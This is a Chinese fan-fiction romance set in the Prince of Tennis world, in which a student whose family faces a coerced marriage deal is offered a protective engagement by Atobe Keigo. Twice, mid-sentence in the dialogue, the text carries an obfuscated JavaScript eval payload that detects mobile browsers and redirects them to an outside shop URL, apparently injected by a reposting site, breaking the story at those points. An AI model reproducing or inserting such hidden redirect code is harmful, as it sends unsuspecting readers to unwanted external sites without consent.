《[网王]迹部少爷想让我动心》 1. 01 托父亲大人死对头的福,藤原梨央今天放学后也没办法按时回家。 周三,一周的周中,向来事多赶趟。身为部员,照例要参加固定的戏剧部部活;担任学生会财务,又要按时整理学生会财款项目。 所幸都是熟练工种。一切干净利落地结束,梨央飞快收拾好物理作业,准备离校。 按照原定计划,清单中列有最后一项未勾掉的任务——尽早回家,在吃晚饭之前,抓紧时间整理竞赛经验分享ppt。 应物理竞赛教师组的邀请,三周后她会以往届优秀竞赛生的身份,参与一年级的物理竞赛辅导会,不能缺席。 然而偏不凑巧。 ppt整理计划撞上一些意外,差点落空。 前脚刚关闭教室里所有电器设备,后脚还没来得及跨过门槛,一条短信接踵而至。 这个时间点收到消息,虽然暂不清楚发生了什么,但肯定是发生了些什么。 点开短信之前,梨央眉头一皱。 根据过往数不清的经验,心里多少有种不太好的预感。 ……完蛋。 估计家中又突发紧急事故,今天也要她放学后先别踏进家门。麻烦平息之前,她必须在外面避开风头,以免一回家就撞见那几位虽然完全没打过照面,却仍对她充满了威胁的危险分子。 短短半个月时间,这究竟是第几次了? 四次,五次,亦或者六七八次? 溯源的记忆隐隐约约,模糊得她快忘记哪天才是不幸的开始。算了,事到如今,不存在任何刨根问底的必要。有什么意义呢? 反正进退维谷的事实已成定局。 不过人总是心怀侥幸。南墙不撞不会死心。梨央闭上眼睛,深吸一口气。说不定只是自己想七想八,虚惊一场,其实所谓的“大事”只存在于想象。所以不要慌,不要慌。 她怀抱着直觉错误的期望。 她逐字逐句看清短信内容。 然后,她在原地愣了片刻。 落日余晖从窗外打进来,映照着屏幕。握住手机的掌心微晃,视野中立即划开一块虚糊的白色,强烈刺眼。 「梨央,我和父亲现在有些急事要处理。你先别回家,在学校待一会。一个小时后我视情况给你发消息——From 哥哥」 ……悬着的心终于死了。 短短几句话,仅仅几十个字,梨央堪堪迈出教室的左脚又缩了回去。沿原路退回到座位,放下作业本,坐下。四周空无一人,她一个人独占了高二B班整间教室。 出不了校门回不了家,只能被迫留校枯坐一个小时。梨央无精打采地趴在课桌上。手里握着按动签字笔,面前摊开物理练习册。 书,是看不进去一个字的。题,是填不了一个空的。 笔帽弹簧不停地按下,弹起,再按下。一连串哒哒哒的声响短促尖锐,像机枪打出的子弹在扫射一整个连队的敌人。物理作业一小时前是第三十四页,一小时后,还是第三十四页。 一个人捱着属实难混日子。她弹拨笔夹,百无聊赖地撑起下颌,望向黑板墙上的挂钟。 时间接近下午六点。 冰帝学园高等部的学生几乎走空。整栋高中二年级的教学楼,从一楼到四楼,从走廊一头到另一头,每间教室都显得太过空寂。 穿堂而出的只有风声,没有人声。 在风声中,梨央掐着点,低头摸出手机看了一眼。 毫无动静。 别说一条信息,哪怕一个字母、一个标点,也丝毫没有迸到她的眼前。 因此她得出第一条结论—— 哥哥食言了。 继而推出第二条断语—— 今天的情况比前几次要更为棘手。 很明显,对家这次找上门来气势汹汹。家里有一场硬仗正在打。 基于上述推断,接下来引出一个非常重要的问题—— 今天晚上回家,她该摆出一副怎样的表情,怎样的言行,才能既显得对家中变故茫然不解,又能让父亲和哥哥不被烦扰,在困顿中得以平复情绪? 还是说,这条路今时今日已然行不通了? 形势在一天天恶化,她不能再继续装聋作哑,不能再独自置身事外。 父亲掩饰隐瞒,哥哥闭口不言,她假装一无所知。三个人每天在同一屋檐下各演各的,主打一个表面无事发生,气氛和谐稳定。半个月来一直如此。但这是正确的解决方式吗? 她到底可以做些什么? 即使表明自己早就了解事实,那又如何?难道能实质性地为家人搭把手?有哪些是她力所能及,可以帮助扭转局势的操作? 灵魂七连问,梨央感到很头痛。 “哎……” 她尝试了,她努力了。她发现脑子一片空白,大脑皮层逐渐光滑,摸索不出任何思路。 叹息就是她本次短暂思考的最终结局。 - “藤原,这道压轴题的第三问不太对。” “你好像掉进了出题人的陷阱。” 有人插嘴进来,把她乱飞的思绪剪断。 “第三问电场场强不能沿用第二问的答案,应该重新计算。” 后方是那人娓娓道来的声音:“题目没有指明两者关联,不能单凭顺序,惯性判定其因果。否则,承接第三问的第五问根本做不出来。” 不知道是什么东西,在她身后看不见的地方,轻微晃动了一下。 一截浅灰色、类似于张开的细长指节的投影倏尔飘浮过来,像飞掠鼓翅的蝴蝶,从上至下笼住她的腕骨,与她持笔所书的字迹融合交叠。 草稿本上的摩擦声戛然而止。 他的论述十拿九稳,在阳光下轻轻落于她的笔尖上。她的笔尖刹那一顿,在纸面间默默停在他的影子里。 这声音,听着好耳熟。 梨央从书本中仰起脸,下意识转身。 不速之客站在座位旁开两步的位置。紧缚着绒质运动护腕的手,正握住她背后的木质椅把。 “怎么这样惊讶地看着我?” 迹部景吾松散地扬起唇角,食指在她肩侧的椅杠上轻轻点了点。 “觉得我有哪里讲错了么?” 他笑着朝她摊开掌心,“既然如此,那麻烦藤原你给我一支笔。如果你不着急回家,我们两个人可以抽几分钟一起讨论一下。” 他就伫立在她身旁。日色于他脚下聚合伏地,铺作陪衬。 大概是才下网球场,冲了凉,额前的紫灰色碎发还润着湿气,欲垂欲翘,一绺一绺耷下来。 光晕滴坠于他的发梢,像水彩画作中的星点落笔,凝聚一层薄透的水雾,紫中带橘,朦胧晕开,最后收尾在眼角那颗泪痣上。 挑眉下视她的目光也因此混入云霞的浓丽。 “诶,会……会长,下午好!” “都快六点了。这么晚的时间,会长你训练完竟然还专程来我们教室跑一趟。” 梨央手忙脚乱地搁置作业,试图站起身以示礼貌。 “是突然下达了什么校务,要让我们班级尽快完成吗?” 差点吓她一跳。 会长怎么走路静悄悄都不带出声的。 “一些私事而已,不是公事,藤原你别太一本正经。” 迹部景吾抬手做出坐下的手势,隔着几寸距离的空气,虚按住她似站非站的姿势。 “还有,我之前不是和你提过,非正式场合不用叫我会长,直接叫名字,更不要加敬称。” 他稍微停顿了一下,从椅背上撤回手,用玩笑话的语气揶揄:“以往难得见面的时候,我们两个人聊天还挺随意自在。怎么?上了高中成了同学,我的名字反而难以启齿了?” …… 难题来得就是如此猝不及防。 梨央沉默了一瞬。 几次讪讪地开口,但始终发不出声音。她放弃挣扎,低下头勉强笑了起来,假装收拾文具,企图蒙混过关。 “会长,不喜欢这个称呼吗?” 她轻声反问。 轻声,是以退为进。反问,是不正面回答,将难题抛还给对方,主动权抓回自己手里的一种策略。 不知道该如何回应。她讲不出所以然,有些原因连她自己也弄不明白。 高中之前长待美国,一年到头和他说上的话屈指可数,还是看在她母亲的挚友——瑛子阿姨的份上才有交流,见面能聊,分开就忘。 像一个处于圈子边缘半熟夹生,贴有【迹部君】标签的NPC,称朋友谈不上,论路人又可惜。 普普通通的关系,再进一步就要打破平衡感了。因为不甚在意,倒可以做到平常对待。 直至回国到冰帝上高中,进入学生会,和他接触的频率大幅上升,来往更频繁,故而觉得“迹部君”该弃之不用,需要随其他成员大流叫“会长”。 迹部瑛子阿姨多年对她照拂,不好再和她同学校读书的儿子不咸不淡相处。 这个称呼拉开的距离明显让她舒适得多。既不过于亲近,又不冷淡生疏,体现尊敬礼貌,拿捏很有分寸。 可能非外放型的人,生来就这副德性。 清晰划定边界是不可或缺的刚需。 幸好,会长似乎对这等小事并不计较。 中间空出片刻时长,微妙的寂静,他同样不发一言。游移的眼光藏着探究,像瞄准镜定点,光线漫射干扰下也能精准追寻她手上的动作。 他看着她把笔尺拢成一堆,塞进笔袋。 拉链声滑过如同终止的信号。他挪开瞄准点,低低地“嗯”了一声。尾调尚未落地,忽而又收拢住,屏息几秒,显得只是一个无意义的单音节。 “顺口一提,没别的意思,”他表明无所谓的态度,妥协让步,“既然习惯了改不过来,那就随你喜欢吧。” 又取出臂间夹着的一本笔记,递给梨央。 “慈郎明天要请两天假,来不了学校。他让我把下午忘还你的化学笔记带给你。” 迹部景吾一字不漏地转述:“顺便,他还让我感谢你一声。你帮他整理的化学重点很管用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518448|142301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,上周期中考试他进步了15名,得空请你吃饭。” “好的,谢谢会长。” 梨央双手接过,抚平笔记本边角的褶皱。 “芥川同学也太客气了。都是同班同学,相互学习,共同进步,本来就是理所应当的事。” 她谦逊推功:“主要还是芥川同学自己聪明嘛,学得快。我只不过做了一点微小的辅助而已,不值得芥川同学破费。” 即便众生平等的口号震天响,人与人的出厂设置有时也并不公平。某些幸运儿的脑子,出生即开光,灵活程度甚至达到老天爷绑着塞饭吃的优越等级。 比如她的后桌芥川慈郎同学,每天顶一副半梦半醒的惺忪睡眼,走哪睡哪,有几块草地都快睡得秃噜皮了,仍然是网球部实力第二无可撼动,稍微一学,成绩中游稳稳当当。 至于排在芥川之上实力第一的会长……则又更胜一筹。 网球,学生会,成绩,钢琴,以及身为大财团独子无可避免的公司经营学习,但凡经他手,过他眼的,无一项是他不擅长,不精通的。 各种宴会小聚上,世家长辈们的交口赞誉中,他像“无可挑剔”的金身塑像,一个“完美继承人”的标准代称。 天赋这东西,还真是相当霸道。 “藤原,话不能这么说。” 迹部景吾并不赞同,顺着她的言词,一通夸奖又把她的功劳浓墨重彩地添回一笔。 “越是重要战役,辅助的关键性越不可或缺,”他说,“慈郎一顿饭换你半本书知识,是他这家伙赚了。应得的谢意,你无须谦虚。” 迹部景吾侧头,望了望她后面略显凌乱的课桌,眉眼仍盛着笑意,“要不是你坐他前桌,不然哪有这些便宜让他捡着。” 听着真情实感,不掺假话。看着发自内心,不像演的。 会长对她助人上进的行为,帮扶同学的能力给予高度认同和赞扬。 不得了。 会长的作风向来雷厉风行,高标准严把关,她是很少听见他直白夸人的。何况这种无足轻重,连路过的蚂蚁也懒得丢一个正眼的杂活。 来的路上遇见好事了吗? 会长看起来心情不错,连带她也跟着沾光。 梨央语气轻快:“既然会长大人您都开了这个尊口,一锤定音,那我就不矫情了。” 她配合地重重点头,坦然领受迹部景吾的情,“感谢会长的肯定,我下次一定再接再厉,继续努力,尽好班级学习委员的职责的。” 有点场面话,但与会长一样,所说所想确切一致。在其位谋其政,兢兢业业肩负每种角色赋予的职责,从来是她的处世信条之一。 笔记本用笔袋压在手边。梨央拿起笔,上翻一页新的草稿纸。另一只手伸进课桌内摁亮手机。趁翻页间隙,她悄摸看了一眼。 又过去五分钟,依然无事发生。 看来还要继续在家门外苟着。 ok,fine。 梨央被磨得心如止水,实在生不出情绪。 哥哥不发话,再急她也没有办法。于是,她以一种“事已至此先做题吧”的摆烂心态,心平气和地按照迹部景吾方才的建议,划掉第三问答案,单开一行,进入解题循环。 “藤原,还不回家吗?” 迹部景吾观望门外的走廊,好心提醒:“等会校卫要来清查教室锁门了。” 笔端再度停滞在计算中程。 “……我暂时还不想回去,”她随便找一个借口,“会长你先走吧,不用在意我,这道题不做完我没心思回家。” 手指翻来覆去地搓捻页角,无意识用力。“呲”一声,纸张轻微撕裂,她的指间黏上些许白色碎屑。 迹部景吾若有若无地偏动视线,从她手背上扫过。“那你自己离校的时候注意安全,”他颔首,“今天整理的款项如有疑问,可以随时与我沟通。” “好的,我会的,谢谢会长。” 以此作结。 梨央的注意力重新转回物理题。 迹部景吾向教室外迈步。 在阴影消逝接入夕暮的分界处,他的步速逐渐减缓,临踏出门最后一两米,终于彻底停下。似乎考虑着什么,他放弃径直离开的选项,背过身在原地静静站了一会。 蓦然,他掉转方向,三两步折返回她身边。 “藤原,我有话想和你谈。” 迹部景吾略微倾身。 覆有薄茧的关节屈起,敲在她课桌上,迅速泛起两声沉稳的敲击。 “我观察了很久,”他笃定道,“总觉得你最近这段时间心不在焉。好像心里压着事情,你不太高兴。” “是碰到难处了么?不介意的话,不妨和我讲一讲。” 流风从他的方向荡过来。 夏季的傍晚天气闷热,他身上的气息却很清爽。雨后草叶清露的味道,夹杂些微玫瑰甜味,携风一道降下,淡薄地包裹住她所处的区域。 他温和的声音也一道包裹住她的耳廓。 “无论任何问题,我们一起想办法。” 2. 02 不是居高临下的探询。 他俯身向她时,视线几乎与她齐平。上半张脸照在光亮中,下半张脸暗在阴影里。一瞬不瞬盯着她看的蓝色眼眸,像阁楼内唯一燃起的烛火,周围一应隐藏都将无所遁形。 她僵着脖颈,不由衷地摇头否认,“感谢会长关心,我最近没有碰到什么……” “藤原,至少我个人认为,”他平和地打断她,“身为去年关东区物理竞赛第一名,在正常水准下,刚才那道题你不大可能会犯错。” 梨央:“……” 笔在草稿纸上轻戳出两个黑点。 她试图从贫瘠的谎言储备中,再扒拉出一条更为合适的理由。 但他显然不打算留她这个机会。 “期中考排名我也特意看过。一直稳坐年级前三的你,这次竟然跌出了前十。” 他轻描淡写地指出她的第二个失误。 梨央:“……” 她抿了一下唇,不说话。 “以及,前几天交过来的财务发票归档,我也大致翻过一遍。戏剧部有张交通发票夹在底面,忘了贴到相应的位置。” “虽然不是大问题,但是藤原,学生会里你最心细。这种显而易见的疏忽,以前从未发生在你的身上。” 每一处细节,每一个证明她确实“碰到难处”的证据都像磁盘倒带一样,在他详实的描述中,活生生从她记忆里拎出来,纤毫毕现地展现在她眼前。 ……汗流浃背了。 她忽然觉得,会长如此强大的记性和细致入微的观察能力,对她而言或许算不得什么好事……至少在当下这一刻绝非好事。伪饰正常的难度呈指数级飙升。 “很抱歉会长,这次是我太粗心大意。” 做错就要认,挨打就要立正。 梨央坦诚地认错致歉保证一条龙:“下次在递交文档之前,我一定会多仔细检查,杜绝类似的失误,不给会长你添麻烦。” “不,藤原,你可能有些误会,”迹部景吾摆摆手,没有半分责备的态度,“我不是来兴师问罪的。” “我只是觉得你最近状态不对劲,想向你了解一下情况。今天机会正好。” 他单手撑在她身侧,放软语气,又朝她俯下一点角度,“遇见棘手的困难了么?说不定我能帮忙想想办法。” 迹部景吾保持着不近不远的距离,以眼神示意她无需顾忌。 时钟指针又向后推移几格。 天色愈晚,橘红霞色却愈光明炽盛,好比火焰燃到极致,照得他俊逸的眉眼越发光彩耀目。 梨央看见他瞳孔中心的自己,扬落着淡金色的浮尘,像是面对打磨光滑的镜面。 镜中一个小小的,模糊的身影,正茫然地眨眼,看向镜外和她恍惚对视。 ——不是那么容易的。 如果真能轻易想出办法,父亲和哥哥也不至于成天偷偷在家戴痛苦面具了。 远超学生解决能力的问题,何必讲出来平添他人烦恼。任何人都无义务为他人的倾诉欲望买单,平白无故地做情绪垃圾桶。这件事她藏在心里太久,连对最好的朋友也不曾提半个字。 紧捏笔杆的掌心微微发涩。她垂下眼睫,看着纸面上拖长的窗框影子。 “非常感谢会长的关心,可我的确没有遇见什么棘手的困难,”梨央不自觉地躲开他,坚持否认,“这几天我会努力调整,恢复好自身状态,会长请不用担心。” “真的?” “真的!” 语气心虚生硬,掩饰欲盖弥彰。 明眼人一眼就能洞察。 但迹部景吾未作任何回应。目光从她侧脸滑过,投注到她低垂轻颤的眼睫,凝视了片刻。 迟疑的神色一闪而逝,“……好,你说没有,那就是没有。” 他直起身,不再有寸步地试探。她不愿意告知,便就此打住,不会步步紧逼。大有她所说种种他都照单全收的架势。 “这次权当是我自己想太多。有冒犯的地方,你别在意,”他干脆利落地走向门口,“时间不早,你也快回家吧,不要待太晚。” “好的会长,我等会就走。明天见。” “嗯,明天见。” 脚步声渐行渐远。 梨央不敢回头看他。 会长被她坚定不移的嘴硬搪塞了过去。现在,他真的相信她一切如常,不再将注意力放在她身上,也不再表达让她难以招架的关切。 她应该感到松一口气。 不会因他怀有好意的攻势丢盔弃甲,不必缴械投降,剥开外面一层保护壳,徒劳地将一团乱麻从暗处拖出来,再大喇喇晾晒到令人不适的亮处。像被遗弃的杂物一样乱七八糟的东西,除了干扰别人之外,一无是处。 她对自己的定力较为满意。 因为她没有动摇。 不会有人的情绪受她无法解决的窘困而牵连。这是她一个人的事,只需她一人处理即可。 她大可以为此感到庆幸。 梨央愣怔地盯着作业本。思路在脑海里清晰流动,字迹框在视野中却有些虚散。 她举起手腕,迟迟落不下笔。笔端悬在半空,像一帧画面的定格。 教室门推动,铰链开合的金属声中—— “藤原,我知道你一向习惯自己解决问题,总是倾听多过倾谈,更不喜欢麻烦别人。” 迹部景吾停下脚步,回头倚靠在门边,“但有时也尝试着依赖一下其他人吧,多一份助力,总比单打独斗更容易。” 只言片语的重量,落下来却掷地有声。 “以后如果真遇上棘手的难题,你只管和我提,能帮的我尽量帮。”他说。 “我随时都在。” ——“嗒”。 手中笔摇摇一晃,掉落到作业本上。 短促的震颤。像一根针猝不及防地扎破鼓胀的气球,空气骤然逸散。那块因气体硬撑着形状的橡胶,也随之泻成薄软片状。 她的行为比她的思考要更快。 所以,当她反应过来的时候,只听得见自己空洞的声音。 “唉。” 梨央第二次叹气,半死不活地趴在桌上。立起书本盖住脸,闭眼,哀叹,感慨。 “会长。” “我觉得我们家,好像是真的要完蛋了。” - 摊开的书页紧贴额头。纸张有些光滑的凉意,像打磨极薄的冰片,敷在脸颊两侧。 凉度让大脑降温,她回过神,才意识到自己刚才对会长究竟说了哪些话。 梨央:“……” 陷在作业本中的脸埋得更深。 说出去的话就是泼出去的水。现在觉得不合适已经来不及了。 铰链的金属咯楞响停止。 须臾静默之后,她听见绵长的呼吸,低沉的轻笑,随运动衣裤摩擦渐次遗散到耳边。 离她越来越远的脚步倏尔转向,急促从原路折回。玫瑰香微带热度,分不清是他的体温还是光照,由此追逐而来。席卷着摧枯拉朽的扫荡势头,一路侵占她的嗅觉范围。 “不容易啊。” 把她脑子一热的话语听得明明白白的人这样感叹。 “藤原,你现在终于肯对我说实话了。” 气氛烘托到这里,两眼一闭躺平装失忆不认账这个走向显然更为幼稚。扭扭捏捏小家子气,反而不体面。 她慢慢由作业本底下支棱起脑袋。 蒙住下半张脸,杏圆的眼睛从书本边缘冒出,大睁着打量周围。像一只刚被人从街边捡回家的猫,还不适应陌生环境,先小心谨慎地进行一番侦查。 话题起了头如同泼水难收,收不回那就不收,索性尽数交待。她暗自组织语言,思考从哪个角度切入,才能清楚完整地表述现状。 没等她开口,迹部景吾已经放下从球场带来的矿泉水,从容不迫地拉过她前桌的椅凳,和她面对面,隔一张课桌坐下。 “说吧,到底怎么回事?你们家怎么就突然要完蛋了?” 他沉思起来,转动挟于指间的瓶盖,“我倒是从我父亲那里听过一些风声,说藤原家资金周转的周期拉长,现金流比例降低。不过商业经营中这也算正常现象,当时我没往心里去。” “……这件事说来话长,前后大概有半个多月了,”梨央捂在书本中的声音有些闷,“我也是偶然偷听到父亲和别人谈话才知道的……至于事情全貌如何,我自己也不太清楚。” 迹部景吾撑着下颌,抬眼认真地与她视线相接,“不要紧,那你就长话短说,挑自己认为最重要的讲。” - 假如依据他的提议,长话短说—— 将她上个月某日中午跑回家取落下的课本时,在书房门口意外听到父亲用电话和另一头吵得有来有回,一通输出十分钟不歇的长篇大论作精简,整件事的始末倒也不复杂。 无外乎是父亲设立国外的一个重大项目发展到关键节点,猝不及防出了岔子。 被多年合作伙伴背刺不说,甚至让死对头抓住了他们家的痛处落井下石。 出事的第一时间,家里便封锁了消息,以防股价暴跌造成局势进一步恶化。 一开始,两方还在围绕资金链等问题激烈地展开辩驳,不成想吵着吵着,话题却落脚在了她身上。 对方的意思很明确: 要想解决眼下的困境,那就把她这个女儿交出来。大家结成儿女亲家,那对方也不是不能高抬贵手,松他们一个喘气的口子。 直接气得书房门内的老父亲暴跳如雷。 “你做梦!” “我今天就算从楼上跳下去,死外边,我们家也干不出卖儿卖女的勾当。” 书房门外的梨央被震惊得连连后退。 上学期期末钻被窝熬夜看得上头的土狗言情小说,什么“契约婚姻”啦,“强取豪夺”啦,“卖身救父”啦,竟然能发生在她身上,梨央也是万万没想到的。 麻了,人麻了。 不过她大概也明白对方为什么执着于她。 新贵和旧华族之间着实有壁,像井水和河水,想要交融天然有一道鸿沟。最近几年就算新兴家族风头无两,旧华族暂落下风,好歹瘦死的骆驼比马大。 新贵想要一个头衔跻身上流,打进旧华族的圈子,从而获得更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518449|142301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多的人脉资源。旧华族想要新贵的资金实力和发展势头。各取所需,从而两相联姻也不是稀奇事。 但很可惜,听说对方石田家的家风十分拉胯。现任掌舵人前后四任老婆,每任儿子女儿一大堆,各任掐得和乌眼鸡似的。同层级别说谈婚论嫁,聊起八卦也是直摇头。 正道走不通,那就只能出此损招。 当然,这局棋不完全冲着她来的,她充其量算布局中的“额外收获”。只不过打着打着,她反倒成了主要矛盾。 对方几次三番上门全是为了她。每一次事故突发,她都会被父亲哥哥以蹩脚的理由支开。 比如她今天收到的短信,什么“家里突然有急事你先别回家”,透着一股脑汁绞尽后清澈笨拙的努力。 ……梨央苦笑,想不出恰当的词来评价。 只能说,大家实在是太“抬举”她了。 - 她把事情的来龙去脉像倒过筛黄豆一样,一股脑全部对迹部景吾倒得干干净净。 迹部景吾至始至终没有插话。 他一边听,一边视野聚焦于她翕动的唇角,声色不动。像是在看她,又像是只把她当作目光的停驻点,透过话语和动作表象,专注地分析隐藏的核心。 梨央偏头,歪靠在支起的臂弯里。 半块橡皮一停一拐地翻转在指下。 事态的进展再次阻滞,犹如这块橡皮,一味围绕着她原地打转。 所有她知道的,能说的,根据线索推测的都无保留地全盘托出,然后呢,她能怎么办?她可以做什么?她该怎么做? 她蹙起眉,眼神空茫地注视了橡皮半晌。 “会长,”她忽然出声,“你说……既然对方想要的是我这个人,那我要不就……就直接答应了他们吧。” “叮当。” 有块又小又脆的东西从高处冲击地面,骨碌碌翻滚几圈。安静的教室仅他们两个人,碰撞声在他们中间无限放大,显得格外突兀刺耳。 梨央一下子挺直脊背坐正。 “没事,一个瓶盖而已,别管它。” 迹部景吾制止她弯腰拾取的动作,声调略显涩滞,“藤原,你……为什么……怎么突然有这个想法?” “因我而纠缠不断的难题,自然由我来解决,”思路回转的瞬间,她下定决心,“我是藤原家的一员,这是我无可推卸的责任。” “如果对方想基于我进行价值交换,那我就答应好了。该我承担的,我不会一味躲在父兄身后。” “你先别冲动,”迹部景吾努力掰正,“事不至此,没必要破罐破摔。” “不是破罐破摔,也没有冲动。我已经慎重思考过,会长,我认为这是我目前唯一、仅有的破局方法。” 她做出最终决策。每一个对迹部景吾吐露的字句,也都是在帮自己夯实这份心迹。 这一刹那,长久以来压得她喘不过气的沉重感,莫名像一块大石崩裂落地,如释重负。 有些事在迟疑不决,瞻前顾后时,是一把最锋利的刀,因为结果悬而未决,所以处处开刃见血,处处无能为力。 但当真正抉择后,一切具有确定性,这把刀就收了鞘。不管是对前路认命沉沦,还是对未来怀抱乐观,路总会有尽头。 更何况,这并不会成为她滑向深渊的陡坡。留得青山在,不怕没柴烧。她对自己有信心。 梨央往后仰靠椅背,松快地笑了一下。 迹部景吾没有笑。 迹部景吾笑不出来。 “一定还有其他办法。”他决然反驳。 她坚持道:“没有其它办法,这就是最好的办法。” 谁也无法说服谁。 僵持,沉默,在两人对坐的方寸间扩散开。 迹部景吾沉下眸色,拣过她刚才翻转的橡皮,有一搭没一搭地磕在桌上。 指尖不经意碰过圆润的棱角。 他顿住,用敏感的指腹轻轻蹭了蹭,和她触摸过的区域交叠在一起。 手感胶滑粘腻,带点微弱发痒的紧缩感,像有张嘴,温柔地吮咬着皮肤。收了几分力度,上下摩挲,似乎还能抚弄到另一人残留的余热。 “藤原,不想听一下我的建议吗?” 他掀起眼帘,视线自下而上抬高,移向她的脸。语声里有一种不起波澜的冷静。 “建议?”梨央好奇地前倾,“会长,你琢磨出更好的解决方式了?” 迹部景吾并不急着阐明,仰头猛灌下一大口冷水。拇指抹去唇边水渍,他扬起下颌,目光凝瞩不转地攫紧她。 “这样吧藤原,这婚,你和我订。” 他以四平八稳的语气提议:“只要你跟我订婚,谅他们再借一百个胆子,也不敢从迹部家手里抢人。” 梨央:“……” 梨央:“?!” 哈??? 她大为震撼,好半天反应不过来。 会长他……他到底在说些什么?! “啊?订……订……”这词她甚至不好意思描述完整,“我?和你吗?” 和会长订婚?她吗? 这……真的假的?! 3. 03 “是的,订婚,你跟我。” 他不紧不慢地重复。主意打定,态度轻松写意,不像是谈婚约大事,反倒像陈述人饿了要吃饭,渴了要喝水一样普通的道理。 这个提议对他来讲似乎平平无奇。 但对她而言,却过于石破天惊。 他说她答应对方的要求是破罐破摔,是冲动的行径。他有个更好的建议,那便是相较于对方,这婚约不如来和他订。 好怪,不确定,再想一下。 这种莫名诡异又有点荒诞跳脱的感觉,就好像在国道上开电瓶车,开着开着,竟然发现自己已经冲出亚洲,冲向了世界。 大脑cpu超速过载,她感觉自己的头顶正在扑簌簌地冒青烟。 迹部景吾仍坐于对面,朝她伸展胳膊。 少年人的指节有一股韧劲,又经常抓握球拍,显得骨肉匀停。手势高高扬举,像最高首领在指挥战局。一起一落间,拇指和中指重合,轻巧地摩擦。 他的指上跳跃着斜阳。 “哒——” 她忽然什么都听不见了。 眼前是沾染了薄橘色的锐利眉目。 耳朵里全是他打出的清脆响指声。 “——藤原。” 他轻声叫她:“快回神,别愣着发呆。” 梨央缓慢地眨了两下眼。从神游中抽身清醒后做的第一件事——摸出常备的感冒药片,一脸关切地递给他。 “会长,你现在头晕吗?有没有觉得哪里不舒服?”她诚恳道,“我这里还剩几片感冒药,要不你稍微对付……稍微冷静一下?” “藤原,我们两个人之间看起来需要冷静一下的,可能是你。” 他抬起手臂,修长的手指搭上药盒,略一用力将药盒压到桌面上,眉尾微挑,“如果你没听清的话,需要我再向你重复一遍么?” 梨央:“……” 确认了,会长的精神状态很稳定。他是知道自己在说什么的。 她目光闪烁地垂下眼,一点一点收回手,默默将药片塞回课桌。 “藤原,你不用怀疑,这绝非我心血来潮的想法。” 迹部景吾双手交握,郑重其事地解释:“对方在占据优势的情况下没有乘胜追击,反而愿意松口,提出基于你的婚约进行交换,这无疑是潜在地让步。” “剩勇之下不追穷寇,那么真实情况只有一种——对方有所顾虑。他们没有万全把握,因此才不敢下狠手赶尽杀绝。” 他刻意在这句之后停顿,似乎是要留予她思考的时间。根据他所说的观点,由她自己进行判断,而不会越俎代庖地替她下定义。 趁这个空闲,他俯身捡起冷落在地上多时的瓶盖,一扬手,瓶盖连同空塑料瓶,一起划出弧线,精准投掷进垃圾桶。 “我想你现在应该能明白我为什么会提这个建议,”他接上话,继续,“先将你的困境解决,跳出当前的死循环。至于其他问题,我们另找办法。” “有迹部家在,他们不敢轻举妄动。” 梨央托着下颌深思。 一番逻辑全然站在她的角度和立场,掰开了揉碎了讲,严实周密,合情合理。无论从风险把控还是优势博弈来看,这个建议都比让她直接答应对方更棋高一着。 正好,怪也就怪在这里。 “但是会长,我不明白。” 她直直地望着他,坦白心中的疑惑:“谢谢你为我考虑。可这个建议好处都是我得,于你没有半分收益,甚至……牺牲太大了。如果只是为了帮我的话,这不值得。” “你本来没必要蹚这趟浑水的。” 拿自己的声誉和社会身份给他人作踮脚。一切核心利益都围绕着她,至于他自己,不图回报不图厚利,甚至不图虚名…… 相比之下,夸一声“人帅心善”未免寒碜,赞一句“做慈善”太低看人,可能也就奔着积攒功德原地飞升的程度,勉勉强强与之匹配吧。 这个问题显然难以回答。 迹部景吾斜靠于椅背的肩膀僵滞了一刻,看起来像被人猝不及防推一巴掌,猛地跌坐在地,一时感到有些意外。 她用越加疑惑的目光注视着他。 他把左手按在太阳穴,微微一笑。 “你说错了,不是不值得。”橡皮在他随意的拨弄中转圈。 “我也有私心。” 私心? 梨央瞪圆眼睛追问:“方便的话,我可以知道会长你有什么私心吗?” 很玄妙。她的头上扣出一个大问号。究竟是怎样的私心,让对各种疑难杂症手拿把掐的会长,竟不得不需要通过和她订婚实现。 迹部景吾不说话。 支在桌上的右手摸索几下,试图再喝一口水。但手边什么都没有抓握住。 空落落的,只摸到一团空气。 那瓶矿泉水早被喝完,方才已连瓶带盖全尸葬身垃圾桶,亲手扔的。 非常遗憾,喝水换时间的战术行不通,唯一途径只有加快思考速度。 于是他不喝水了,改为轻快地打出响指。 “……嗯,没什么不方便。” 他一字一句道:“祖父最近让我多和世交家的女生来往。你知道,这种社交相当耗时间,我也不感兴趣。” “但我暂时没借口一劳永逸地回绝。” 梨央灵光闪现,从他隐晦的说辞中推断: “会长是想让我担当挡箭牌的角色吗?” “可以这么说,”他认同她的结论,“严格来讲我们算价值交换,对我不是牺牲,你不必有太多压力。” 迹部景吾轻轻卸下紧绷的腕力,兀自站起身,松开那块一直夹在指间的橡皮。 他靠近她几步。贴于腰腹的衣角熨有物主的体温,翻飞飘动,擦拂过她的手臂,带起一缕细风,一片晦色。 周边的热气在这个短暂瞬间被他压制。像水面上的蜻蜓飞掠而来,水珠自尾巴尖滴落,凉匝匝地绷到她皮肤上。 一阵紧似一阵。 她不自觉地缩了手,侧头避开他的身影。 “藤原,同意与否的权利在你手上。希望你能好好考虑我的提议。” 